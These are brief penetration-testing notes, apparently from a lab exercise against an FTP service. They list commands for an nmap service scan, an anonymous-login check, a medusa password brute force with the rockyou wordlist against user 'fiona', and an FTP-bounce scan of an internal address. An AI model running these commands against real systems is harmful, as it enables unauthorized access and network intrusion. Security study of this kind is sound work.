finding

Enumeration

sudo nmap -sVC -p 31 "$ip"

Anonymous login check

ftp "$ip" -u anonymous

Brute force attack

medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h "$ip" -M ftp

Ftp-Bounce attack

nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2